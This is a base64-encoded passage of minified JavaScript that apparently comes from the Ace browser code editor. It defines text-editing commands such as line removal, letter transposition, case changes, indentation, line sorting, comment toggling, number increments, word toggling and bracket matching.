gpLHRoaXMuc2Vzc2lvbi5yZW1vdmUodGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpKSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMucmVtb3ZlVG9MaW5lU3RhcnQ9ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkmJnRoaXMuc2VsZWN0aW9uLnNlbGVjdExpbmVTdGFydCgpLHRoaXMuc2VsZWN0aW9uLmlzRW1wdHkoKSYmdGhpcy5zZWxlY3Rpb24uc2VsZWN0TGVmdCgpLHRoaXMuc2Vzc2lvbi5yZW1vdmUodGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpKSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMucmVtb3ZlVG9MaW5lRW5kPWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpJiZ0aGlzLnNlbGVjdGlvbi5zZWxlY3RMaW5lRW5kKCk7dmFyIGU9dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpO2Uuc3RhcnQuY29sdW1uPT1lLmVuZC5jb2x1bW4mJmUuc3RhcnQucm93PT1lLmVuZC5yb3cmJihlLmVuZC5jb2x1bW49MCxlLmVuZC5yb3crKyksdGhpcy5zZXNzaW9uLnJlbW92ZShlKSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMuc3BsaXRMaW5lPWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpfHwodGhpcy5zZXNzaW9uLnJlbW92ZSh0aGlzLmdldFNlbGVjdGlvblJhbmdlKCkpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKSk7dmFyIGU9dGhpcy5nZXRDdXJzb3JQb3NpdGlvbigpO3RoaXMuaW5zZXJ0KCJcbiIpLHRoaXMubW92ZUN1cnNvclRvUG9zaXRpb24oZSl9LHRoaXMudHJhbnNwb3NlTGV0dGVycz1mdW5jdGlvbigpe2lmKCF0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkpcmV0dXJuO3ZhciBlPXRoaXMuZ2V0Q3Vyc29yUG9zaXRpb24oKSx0PWUuY29sdW1uO2lmKHQ9PT0wKXJldHVybjt2YXIgbj10aGlzLnNlc3Npb24uZ2V0TGluZShlLnJvdykscixpO3Q8bi5sZW5ndGg/KHI9bi5jaGFyQXQodCkrbi5jaGFyQXQodC0xKSxpPW5ldyBkKGUucm93LHQtMSxlLnJvdyx0KzEpKToocj1uLmNoYXJBdCh0LTEpK24uY2hhckF0KHQtMiksaT1uZXcgZChlLnJvdyx0LTIsZS5yb3csdCkpLHRoaXMuc2Vzc2lvbi5yZXBsYWNlKGksciksdGhpcy5zZXNzaW9uLnNlbGVjdGlvbi5tb3ZlVG9Qb3NpdGlvbihpLmVuZCl9LHRoaXMudG9Mb3dlckNhc2U9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFNlbGVjdGlvblJhbmdlKCk7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpJiZ0aGlzLnNlbGVjdGlvbi5zZWxlY3RXb3JkKCk7dmFyIHQ9dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpLG49dGhpcy5zZXNzaW9uLmdldFRleHRSYW5nZSh0KTt0aGlzLnNlc3Npb24ucmVwbGFjZSh0LG4udG9Mb3dlckNhc2UoKSksdGhpcy5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uUmFuZ2UoZSl9LHRoaXMudG9VcHBlckNhc2U9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFNlbGVjdGlvblJhbmdlKCk7dGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpJiZ0aGlzLnNlbGVjdGlvbi5zZWxlY3RXb3JkKCk7dmFyIHQ9dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpLG49dGhpcy5zZXNzaW9uLmdldFRleHRSYW5nZSh0KTt0aGlzLnNlc3Npb24ucmVwbGFjZSh0LG4udG9VcHBlckNhc2UoKSksdGhpcy5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uUmFuZ2UoZSl9LHRoaXMuaW5kZW50PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zZXNzaW9uLHQ9dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpO2lmKHQuc3RhcnQucm93PHQuZW5kLnJvdyl7dmFyIG49dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKCk7ZS5pbmRlbnRSb3dzKG4uZmlyc3Qsbi5sYXN0LCIJIik7cmV0dXJufWlmKHQuc3RhcnQuY29sdW1uPHQuZW5kLmNvbHVtbil7dmFyIHI9ZS5nZXRUZXh0UmFuZ2UodCk7aWYoIS9eXHMrJC8udGVzdChyKSl7dmFyIG49dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKCk7ZS5pbmRlbnRSb3dzKG4uZmlyc3Qsbi5sYXN0LCIJIik7cmV0dXJufX12YXIgaT1lLmdldExpbmUodC5zdGFydC5yb3cpLHM9dC5zdGFydCx1PWUuZ2V0VGFiU2l6ZSgpLGE9ZS5kb2N1bWVudFRvU2NyZWVuQ29sdW1uKHMucm93LHMuY29sdW1uKTtpZih0aGlzLnNlc3Npb24uZ2V0VXNlU29mdFRhYnMoKSl2YXIgZj11LWEldSxsPW8uc3RyaW5nUmVwZWF0KCIgIixmKTtlbHNle3ZhciBmPWEldTt3aGlsZShpW3Quc3RhcnQuY29sdW1uLTFdPT0iICImJmYpdC5zdGFydC5jb2x1bW4tLSxmLS07dGhpcy5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uUmFuZ2UodCksbD0iCSJ9cmV0dXJuIHRoaXMuaW5zZXJ0KGwpfSx0aGlzLmJsb2NrSW5kZW50PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKCk7dGhpcy5zZXNzaW9uLmluZGVudFJvd3MoZS5maXJzdCxlLmxhc3QsIgkiKX0sdGhpcy5ibG9ja091dGRlbnQ9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnNlc3Npb24uZ2V0U2VsZWN0aW9uKCk7dGhpcy5zZXNzaW9uLm91dGRlbnRSb3dzKGUuZ2V0UmFuZ2UoKSl9LHRoaXMuc29ydExpbmVzPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKCksdD10aGlzLnNlc3Npb24sbj1bXTtmb3IodmFyIHI9ZS5maXJzdDtyPD1lLmxhc3Q7cisrKW4ucHVzaCh0LmdldExpbmUocikpO24uc29ydChmdW5jdGlvbihlLHQpe3JldHVybiBlLnRvTG93ZXJDYXNlKCk8dC50b0xvd2VyQ2FzZSgpPy0xOmUudG9Mb3dlckNhc2UoKT50LnRvTG93ZXJDYXNlKCk/MTowfSk7dmFyIGk9bmV3IGQoMCwwLDAsMCk7Zm9yKHZhciByPWUuZmlyc3Q7cjw9ZS5sYXN0O3IrKyl7dmFyIHM9dC5nZXRMaW5lKHIpO2kuc3RhcnQucm93PXIsaS5lbmQucm93PXIsaS5lbmQuY29sdW1uPXMubGVuZ3RoLHQucmVwbGFjZShpLG5bci1lLmZpcnN0XSl9fSx0aGlzLnRvZ2dsZUNvbW1lbnRMaW5lcz1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2Vzc2lvbi5nZXRTdGF0ZSh0aGlzLmdldEN1cnNvclBvc2l0aW9uKCkucm93KSx0PXRoaXMuJGdldFNlbGVjdGVkUm93cygpO3RoaXMuc2Vzc2lvbi5nZXRNb2RlKCkudG9nZ2xlQ29tbWVudExpbmVzKGUsdGhpcy5zZXNzaW9uLHQuZmlyc3QsdC5sYXN0KX0sdGhpcy50b2dnbGVCbG9ja0NvbW1lbnQ9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldEN1cnNvclBvc2l0aW9uKCksdD10aGlzLnNlc3Npb24uZ2V0U3RhdGUoZS5yb3cpLG49dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpO3RoaXMuc2Vzc2lvbi5nZXRNb2RlKCkudG9nZ2xlQmxvY2tDb21tZW50KHQsdGhpcy5zZXNzaW9uLG4sZSl9LHRoaXMuZ2V0TnVtYmVyQXQ9ZnVuY3Rpb24oZSx0KXt2YXIgbj0vW1wtXT9bMC05XSsoPzpcLlswLTldKyk/L2c7bi5sYXN0SW5kZXg9MDt2YXIgcj10aGlzLnNlc3Npb24uZ2V0TGluZShlKTt3aGlsZShuLmxhc3RJbmRleDx0KXt2YXIgaT1uLmV4ZWMocik7aWYoaS5pbmRleDw9dCYmaS5pbmRleCtpWzBdLmxlbmd0aD49dCl7dmFyIHM9e3ZhbHVlOmlbMF0sc3RhcnQ6aS5pbmRleCxlbmQ6aS5pbmRleCtpWzBdLmxlbmd0aH07cmV0dXJuIHN9fXJldHVybiBudWxsfSx0aGlzLm1vZGlmeU51bWJlcj1mdW5jdGlvbihlKXt2YXIgdD10aGlzLnNlbGVjdGlvbi5nZXRDdXJzb3IoKS5yb3csbj10aGlzLnNlbGVjdGlvbi5nZXRDdXJzb3IoKS5jb2x1bW4scj1uZXcgZCh0LG4tMSx0LG4pLGk9dGhpcy5zZXNzaW9uLmdldFRleHRSYW5nZShyKTtpZighaXNOYU4ocGFyc2VGbG9hdChpKSkmJmlzRmluaXRlKGkpKXt2YXIgcz10aGlzLmdldE51bWJlckF0KHQsbik7aWYocyl7dmFyIG89cy52YWx1ZS5pbmRleE9mKCIuIik+PTA/cy5zdGFydCtzLnZhbHVlLmluZGV4T2YoIi4iKSsxOnMuZW5kLHU9cy5zdGFydCtzLnZhbHVlLmxlbmd0aC1vLGE9cGFyc2VGbG9hdChzLnZhbHVlKTthKj1NYXRoLnBvdygxMCx1KSxvIT09cy5lbmQmJm48bz9lKj1NYXRoLnBvdygxMCxzLmVuZC1uLTEpOmUqPU1hdGgucG93KDEwLHMuZW5kLW4pLGErPWUsYS89TWF0aC5wb3coMTAsdSk7dmFyIGY9YS50b0ZpeGVkKHUpLGw9bmV3IGQodCxzLnN0YXJ0LHQscy5lbmQpO3RoaXMuc2Vzc2lvbi5yZXBsYWNlKGwsZiksdGhpcy5tb3ZlQ3Vyc29yVG8odCxNYXRoLm1heChzLnN0YXJ0KzEsbitmLmxlbmd0aC1zLnZhbHVlLmxlbmd0aCkpfX1lbHNlIHRoaXMudG9nZ2xlV29yZCgpfSx0aGlzLiR0b2dnbGVXb3JkUGFpcnM9W1siZmlyc3QiLCJsYXN0Il0sWyJ0cnVlIiwiZmFsc2UiXSxbInllcyIsIm5vIl0sWyJ3aWR0aCIsImhlaWdodCJdLFsidG9wIiwiYm90dG9tIl0sWyJyaWdodCIsImxlZnQiXSxbIm9uIiwib2ZmIl0sWyJ4IiwieSJdLFsiZ2V0Iiwic2V0Il0sWyJtYXgiLCJtaW4iXSxbImhvcml6b250YWwiLCJ2ZXJ0aWNhbCJdLFsic2hvdyIsImhpZGUiXSxbImFkZCIsInJlbW92ZSJdLFsidXAiLCJkb3duIl0sWyJiZWZvcmUiLCJhZnRlciJdLFsiZXZlbiIsIm9kZCJdLFsiaW4iLCJvdXQiXSxbImluc2lkZSIsIm91dHNpZGUiXSxbIm5leHQiLCJwcmV2aW91cyJdLFsiaW5jcmVhc2UiLCJkZWNyZWFzZSJdLFsiYXR0YWNoIiwiZGV0YWNoIl0sWyImJiIsInx8Il0sWyI9PSIsIiE9Il1dLHRoaXMudG9nZ2xlV29yZD1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2VsZWN0aW9uLmdldEN1cnNvcigpLnJvdyx0PXRoaXMuc2VsZWN0aW9uLmdldEN1cnNvcigpLmNvbHVtbjt0aGlzLnNlbGVjdGlvbi5zZWxlY3RXb3JkKCk7dmFyIG49dGhpcy5nZXRTZWxlY3RlZFRleHQoKSxyPXRoaXMuc2VsZWN0aW9uLmdldFdvcmRSYW5nZSgpLnN0YXJ0LmNvbHVtbixpPW4ucmVwbGFjZSgvKFthLXpdK3xbQS1aXSspKD89W0EtWl9dfCQpL2csIiQxICIpLnNwbGl0KC9ccy8pLHM9dC1yLTE7czwwJiYocz0wKTt2YXIgdT0wLGE9MCxmPXRoaXM7bi5tYXRjaCgvW0EtWmEtejAtOV9dKy8pJiZpLmZvckVhY2goZnVuY3Rpb24odCxpKXthPXUrdC5sZW5ndGgscz49dSYmczw9YSYmKG49dCxmLnNlbGVjdGlvbi5jbGVhclNlbGVjdGlvbigpLGYubW92ZUN1cnNvclRvKGUsdStyKSxmLnNlbGVjdGlvbi5zZWxlY3RUbyhlLGErcikpLHU9YX0pO3ZhciBsPXRoaXMuJHRvZ2dsZVdvcmRQYWlycyxjO2Zvcih2YXIgaD0wO2g8bC5sZW5ndGg7aCsrKXt2YXIgcD1sW2hdO2Zvcih2YXIgZD0wO2Q8PTE7ZCsrKXt2YXIgdj0rIWQsbT1uLm1hdGNoKG5ldyBSZWdFeHAoIl5cXHM/Xz8oIitvLmVzY2FwZVJlZ0V4cChwW2RdKSsiKVxccz8kIiwiaSIpKTtpZihtKXt2YXIgZz1uLm1hdGNoKG5ldyBSZWdFeHAoIihbX118XnxcXHMpKCIrby5lc2NhcGVSZWdFeHAobVsxXSkrIikoJHxcXHMpIiwiZyIpKTtnJiYoYz1uLnJlcGxhY2UobmV3IFJlZ0V4cChvLmVzY2FwZVJlZ0V4cChwW2RdKSwiaSIpLGZ1bmN0aW9uKGUpe3ZhciB0PXBbdl07cmV0dXJuIGUudG9VcHBlckNhc2UoKT09ZT90PXQudG9VcHBlckNhc2UoKTplLmNoYXJBdCgwKS50b1VwcGVyQ2FzZSgpPT1lLmNoYXJBdCgwKSYmKHQ9dC5zdWJzdHIoMCwwKStwW3ZdLmNoYXJBdCgwKS50b1VwcGVyQ2FzZSgpK3Quc3Vic3RyKDEpKSx0fSksdGhpcy5pbnNlcnQoYyksYz0iIil9fX19LHRoaXMuZmluZExpbmtBdD1mdW5jdGlvbihlLHQpe3ZhciBuLGkscz10aGlzLnNlc3Npb24uZ2V0TGluZShlKSxvPXMuc3BsaXQoLygoPzpodHRwcz98ZnRwKTpcL1wvW1xTXSspLyksdT10O3U8MCYmKHU9MCk7dmFyIGE9MCxmPTAsbDt0cnl7Zm9yKHZhciBjPXIobyksaD1jLm5leHQoKTshaC5kb25lO2g9Yy5uZXh0KCkpe3ZhciBwPWgudmFsdWU7Zj1hK3AubGVuZ3RoO2lmKHU+PWEmJnU8PWYmJnAubWF0Y2goLygoPzpodHRwcz98ZnRwKTpcL1wvW1xTXSspLykpe2w9cC5yZXBsYWNlKC9bXHM6LiwnIjt9XF1dKyQvLCIiKTticmVha31hPWZ9fWNhdGNoKGQpe249e2Vycm9yOmR9fWZpbmFsbHl7dHJ5e2gmJiFoLmRvbmUmJihpPWMucmV0dXJuKSYmaS5jYWxsKGMpfWZpbmFsbHl7aWYobil0aHJvdyBuLmVycm9yfX1yZXR1cm4gbH0sdGhpcy5vcGVuTGluaz1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2VsZWN0aW9uLmdldEN1cnNvcigpLHQ9dGhpcy5maW5kTGlua0F0KGUucm93LGUuY29sdW1uKTtyZXR1cm4gdCYmd2luZG93Lm9wZW4odCwiX2JsYW5rIiksdCE9bnVsbH0sdGhpcy5yZW1vdmVMaW5lcz1mdW5jdGlvbigpe3ZhciBlPXRoaXMuJGdldFNlbGVjdGVkUm93cygpO3RoaXMuc2Vzc2lvbi5yZW1vdmVGdWxsTGluZXMoZS5maXJzdCxlLmxhc3QpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKX0sdGhpcy5kdXBsaWNhdGVTZWxlY3Rpb249ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnNlbGVjdGlvbix0PXRoaXMuc2Vzc2lvbixuPWUuZ2V0UmFuZ2UoKSxyPWUuaXNCYWNrd2FyZHMoKTtpZihuLmlzRW1wdHkoKSl7dmFyIGk9bi5zdGFydC5yb3c7dC5kdXBsaWNhdGVMaW5lcyhpLGkpfWVsc2V7dmFyIHM9cj9uLnN0YXJ0Om4uZW5kLG89dC5pbnNlcnQocyx0LmdldFRleHRSYW5nZShuKSwhMSk7bi5zdGFydD1zLG4uZW5kPW8sZS5zZXRTZWxlY3Rpb25SYW5nZShuLHIpfX0sdGhpcy5tb3ZlTGluZXNEb3duPWZ1bmN0aW9uKCl7dGhpcy4kbW92ZUxpbmVzKDEsITEpfSx0aGlzLm1vdmVMaW5lc1VwPWZ1bmN0aW9uKCl7dGhpcy4kbW92ZUxpbmVzKC0xLCExKX0sdGhpcy5tb3ZlVGV4dD1mdW5jdGlvbihlLHQsbil7cmV0dXJuIHRoaXMuc2Vzc2lvbi5tb3ZlVGV4dChlLHQsbil9LHRoaXMuY29weUxpbmVzVXA9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlTGluZXMoLTEsITApfSx0aGlzLmNvcHlMaW5lc0Rvd249ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlTGluZXMoMSwhMCl9LHRoaXMuJG1vdmVMaW5lcz1mdW5jdGlvbihlLHQpe3ZhciBuLHIsaT10aGlzLnNlbGVjdGlvbjtpZighaS5pbk11bHRpU2VsZWN0TW9kZXx8dGhpcy5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlKXt2YXIgcz1pLnRvT3JpZW50ZWRSYW5nZSgpO249dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKHMpLHI9dGhpcy5zZXNzaW9uLiRtb3ZlTGluZXMobi5maXJzdCxuLmxhc3QsdD8wOmUpLHQmJmU9PS0xJiYocj0wKSxzLm1vdmVCeShyLDApLGkuZnJvbU9yaWVudGVkUmFuZ2Uocyl9ZWxzZXt2YXIgbz1pLnJhbmdlTGlzdC5yYW5nZXM7aS5yYW5nZUxpc3QuZGV0YWNoKHRoaXMuc2Vzc2lvbiksdGhpcy5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlPSEwO3ZhciB1PTAsYT0wLGY9by5sZW5ndGg7Zm9yKHZhciBsPTA7bDxmO2wrKyl7dmFyIGM9bDtvW2xdLm1vdmVCeSh1LDApLG49dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKG9bbF0pO3ZhciBoPW4uZmlyc3QscD1uLmxhc3Q7d2hpbGUoKytsPGYpe2EmJm9bbF0ubW92ZUJ5KGEsMCk7dmFyIGQ9dGhpcy4kZ2V0U2VsZWN0ZWRSb3dzKG9bbF0pO2lmKHQmJmQuZmlyc3QhPXApYnJlYWs7aWYoIXQmJmQuZmlyc3Q+cCsxKWJyZWFrO3A9ZC5sYXN0fWwtLSx1PXRoaXMuc2Vzc2lvbi4kbW92ZUxpbmVzKGgscCx0PzA6ZSksdCYmZT09LTEmJihjPWwrMSk7d2hpbGUoYzw9bClvW2NdLm1vdmVCeSh1LDApLGMrKzt0fHwodT0wKSxhKz11fWkuZnJvbU9yaWVudGVkUmFuZ2UoaS5yYW5nZXNbMF0pLGkucmFuZ2VMaXN0LmF0dGFjaCh0aGlzLnNlc3Npb24pLHRoaXMuaW5WaXJ0dWFsU2VsZWN0aW9uTW9kZT0hMX19LHRoaXMuJGdldFNlbGVjdGVkUm93cz1mdW5jdGlvbihlKXtyZXR1cm4gZT0oZXx8dGhpcy5nZXRTZWxlY3Rpb25SYW5nZSgpKS5jb2xsYXBzZVJvd3MoKSx7Zmlyc3Q6dGhpcy5zZXNzaW9uLmdldFJvd0ZvbGRTdGFydChlLnN0YXJ0LnJvdyksbGFzdDp0aGlzLnNlc3Npb24uZ2V0Um93Rm9sZEVuZChlLmVuZC5yb3cpfX0sdGhpcy5vbkNvbXBvc2l0aW9uU3RhcnQ9ZnVuY3Rpb24oZSl7dGhpcy5yZW5kZXJlci5zaG93Q29tcG9zaXRpb24oZSl9LHRoaXMub25Db21wb3NpdGlvblVwZGF0ZT1mdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLnNldENvbXBvc2l0aW9uVGV4dChlKX0sdGhpcy5vbkNvbXBvc2l0aW9uRW5kPWZ1bmN0aW9uKCl7dGhpcy5yZW5kZXJlci5oaWRlQ29tcG9zaXRpb24oKX0sdGhpcy5nZXRGaXJzdFZpc2libGVSb3c9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5yZW5kZXJlci5nZXRGaXJzdFZpc2libGVSb3coKX0sdGhpcy5nZXRMYXN0VmlzaWJsZVJvdz1mdW5jdGlvbigpe3JldHVybiB0aGlzLnJlbmRlcmVyLmdldExhc3RWaXNpYmxlUm93KCl9LHRoaXMuaXNSb3dWaXNpYmxlPWZ1bmN0aW9uKGUpe3JldHVybiBlPj10aGlzLmdldEZpcnN0VmlzaWJsZVJvdygpJiZlPD10aGlzLmdldExhc3RWaXNpYmxlUm93KCl9LHRoaXMuaXNSb3dGdWxseVZpc2libGU9ZnVuY3Rpb24oZSl7cmV0dXJuIGU+PXRoaXMucmVuZGVyZXIuZ2V0Rmlyc3RGdWxseVZpc2libGVSb3coKSYmZTw9dGhpcy5yZW5kZXJlci5nZXRMYXN0RnVsbHlWaXNpYmxlUm93KCl9LHRoaXMuJGdldFZpc2libGVSb3dDb3VudD1mdW5jdGlvbigpe3JldHVybiB0aGlzLnJlbmRlcmVyLmdldFNjcm9sbEJvdHRvbVJvdygpLXRoaXMucmVuZGVyZXIuZ2V0U2Nyb2xsVG9wUm93KCkrMX0sdGhpcy4kbW92ZUJ5UGFnZT1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMucmVuZGVyZXIscj10aGlzLnJlbmRlcmVyLmxheWVyQ29uZmlnLGk9ZSpNYXRoLmZsb29yKHIuaGVpZ2h0L3IubGluZUhlaWdodCk7dD09PSEwP3RoaXMuc2VsZWN0aW9uLiRtb3ZlU2VsZWN0aW9uKGZ1bmN0aW9uKCl7dGhpcy5tb3ZlQ3Vyc29yQnkoaSwwKX0pOnQ9PT0hMSYmKHRoaXMuc2VsZWN0aW9uLm1vdmVDdXJzb3JCeShpLDApLHRoaXMuc2VsZWN0aW9uLmNsZWFyU2VsZWN0aW9uKCkpO3ZhciBzPW4uc2Nyb2xsVG9wO24uc2Nyb2xsQnkoMCxpKnIubGluZUhlaWdodCksdCE9bnVsbCYmbi5zY3JvbGxDdXJzb3JJbnRvVmlldyhudWxsLC41KSxuLmFuaW1hdGVTY3JvbGxpbmcocyl9LHRoaXMuc2VsZWN0UGFnZURvd249ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlQnlQYWdlKDEsITApfSx0aGlzLnNlbGVjdFBhZ2VVcD1mdW5jdGlvbigpe3RoaXMuJG1vdmVCeVBhZ2UoLTEsITApfSx0aGlzLmdvdG9QYWdlRG93bj1mdW5jdGlvbigpe3RoaXMuJG1vdmVCeVBhZ2UoMSwhMSl9LHRoaXMuZ290b1BhZ2VVcD1mdW5jdGlvbigpe3RoaXMuJG1vdmVCeVBhZ2UoLTEsITEpfSx0aGlzLnNjcm9sbFBhZ2VEb3duPWZ1bmN0aW9uKCl7dGhpcy4kbW92ZUJ5UGFnZSgxKX0sdGhpcy5zY3JvbGxQYWdlVXA9ZnVuY3Rpb24oKXt0aGlzLiRtb3ZlQnlQYWdlKC0xKX0sdGhpcy5zY3JvbGxUb1Jvdz1mdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLnNjcm9sbFRvUm93KGUpfSx0aGlzLnNjcm9sbFRvTGluZT1mdW5jdGlvbihlLHQsbixyKXt0aGlzLnJlbmRlcmVyLnNjcm9sbFRvTGluZShlLHQsbixyKX0sdGhpcy5jZW50ZXJTZWxlY3Rpb249ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFNlbGVjdGlvblJhbmdlKCksdD17cm93Ok1hdGguZmxvb3IoZS5zdGFydC5yb3crKGUuZW5kLnJvdy1lLnN0YXJ0LnJvdykvMiksY29sdW1uOk1hdGguZmxvb3IoZS5zdGFydC5jb2x1bW4rKGUuZW5kLmNvbHVtbi1lLnN0YXJ0LmNvbHVtbikvMil9O3RoaXMucmVuZGVyZXIuYWxpZ25DdXJzb3IodCwuNSl9LHRoaXMuZ2V0Q3Vyc29yUG9zaXRpb249ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3Rpb24uZ2V0Q3Vyc29yKCl9LHRoaXMuZ2V0Q3Vyc29yUG9zaXRpb25TY3JlZW49ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbih0aGlzLmdldEN1cnNvclBvc2l0aW9uKCkpfSx0aGlzLmdldFNlbGVjdGlvblJhbmdlPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2VsZWN0aW9uLmdldFJhbmdlKCl9LHRoaXMuc2VsZWN0QWxsPWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24uc2VsZWN0QWxsKCl9LHRoaXMuY2xlYXJTZWxlY3Rpb249ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5jbGVhclNlbGVjdGlvbigpfSx0aGlzLm1vdmVDdXJzb3JUbz1mdW5jdGlvbihlLHQpe3RoaXMuc2VsZWN0aW9uLm1vdmVDdXJzb3JUbyhlLHQpfSx0aGlzLm1vdmVDdXJzb3JUb1Bvc2l0aW9uPWZ1bmN0aW9uKGUpe3RoaXMuc2VsZWN0aW9uLm1vdmVDdXJzb3JUb1Bvc2l0aW9uKGUpfSx0aGlzLmp1bXBUb01hdGNoaW5nPWZ1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5nZXRDdXJzb3JQb3NpdGlvbigpLHI9bmV3IGIodGhpcy5zZXNzaW9uLG4ucm93LG4uY29sdW1uKSxpPXIuZ2V0Q3VycmVudFRva2VuKCkscz0wO2kmJmkudHlwZS5pbmRleE9mKCJ0YWctbmFtZSIpIT09LTEmJihpPXIuc3RlcEJhY2t3YXJkKCkpO3ZhciBvPWl8fHIuc3RlcEZvcndhcmQoKTtpZighbylyZXR1cm47dmFyIHUsYT0hMSxmPXt9LGw9bi5jb2x1bW4tby5zdGFydCxjLGg9eyIpIjoiKCIsIigiOiIoIiwiXSI6IlsiLCJbIjoiWyIsInsiOiJ7IiwifSI6InsifTtkb3tpZihvLnZhbHVlLm1hdGNoKC9be30oKVxbXF1dL2cpKWZvcig7bDxvLnZhbHVlLmxlbmd0aCYmIWE7bCsrKXtpZighaFtvLnZhbHVlW2xdXSljb250aW51ZTtjPWhbby52YWx1ZVtsXV0rIi4iK28udHlwZS5yZXBsYWNlKCJycGFyZW4iLCJscGFyZW4iKSxpc05hTihmW2NdKSYmKGZbY109MCk7c3dpdGNoKG8udmFsdWVbbF0pe2Nhc2UiKCI6Y2FzZSJbIjpjYXNlInsiOmZbY10rKzticmVhaztjYXNlIikiOmNhc2UiXSI6Y2FzZSJ9IjpmW2NdLS0sZltjXT09PS0xJiYodT0iYnJhY2tldCIsYT0hMCl9fWVsc2Ugby50eXBlLmluZGV4T2YoInRhZy1uYW1lIikhPT0tMSYmKGlzTmFOKGZbby52YWx1ZV0pJiYoZltvLnZhbHVlXT0wKSxpLnZhbHVlPT09IjwiJiZzPjE/ZltvLnZhbHVlXSsrOmkudmFsdWU9PT0iPC8iJiZmW28udmFsdWVdLS0sZltvLnZhbHVlXT09PS0xJiYodT0idGFnIixhPSEwKSk7YXx8KGk9byxzKyssbz1yLnN0ZXBGb3J3YXJkKCksbD0wKX13aGlsZShvJiYhYSk7aWYoIXUpcmV0dXJuO3ZhciBwLHY7aWYodT09PSJicmFja2V0Iil7cD10aGlzLnNlc3Npb24uZ2V0QnJhY2tldFJhbmdlKG4pO2lmKCFwKXtwPW5ldyBkKHIuZ2V0Q3VycmVudFRva2VuUm93KCksci5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKStsLTEsci5nZXRDdXJyZW50VG9rZW5Sb3coKSxyLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpK2wtMSksdj1wLnN0YXJ0O2lmKHR8fHYucm93PT09bi5yb3cmJk1hdGguYWJzKHYuY29sdW1uLW4uY29sdW1uKTwyKXA9dGhpcy5zZXNzaW9uLmdldEJyYWNrZXRSYW5nZSh2KX19ZWxzZSBpZih1PT09InRhZyIpe2lmKCFvfHxvLnR5cGUuaW5kZXhPZigidGFnLW5hbWUiKT09PS0xKXJldHVybjtwPW5ldyBkKHIuZ2V0Q3VycmVudFRva2VuUm93KCksci5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKS0yLHIuZ2V0Q3VycmVudFRva2VuUm93KCksci5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKS0yKTtpZihwLmNvbXBhcmUobi5yb3csbi5jb2x1bW4pPT09MCl7dmFyIG09dGhpcy5zZXNzaW9uLmdldE1hdGNoaW5nVGFncyhuKTttJiYobS5vcGVuVGFnLmNvbnRhaW5zKG4ucm93LG4uY29sdW1uKT8ocD1tLmNsb3NlVGFnLHY9cC5zdGFydCk6KHA9bS5vcGVuVGFnLG0uY2xvc2VUYWcuc3RhcnQucm93PT09bi5yb3cmJm0uY2xvc2VUYWcuc3RhcnQuY29sdW1uPT09bi5jb2x1bW4/dj1wLmVuZDp2PXAuc3RhcnQpKX12PXZ8fHAuc3RhcnR9dj1wJiZwLmN1cnNvcnx8dix2JiYoZT9wJiZ0P3RoaXMuc2VsZWN0aW9uLnNldFJhbmdlKHApOnAmJnAuaXNFcXVhbCh0aGlzLmdldFNlbGVjdGlvblJhbmdlKCkpP3RoaXMuY2xlYXJTZWxlY3Rpb24oKTp0aGlzLnNlbGVjdGlvbi5zZWxlY3RUbyh2LnJvdyx2LmNvbHVtbik6dGhpcy5zZWxlY3Rpb24ubW92ZVRvKHYucm93LHYuY29sdW1uKSl9LHR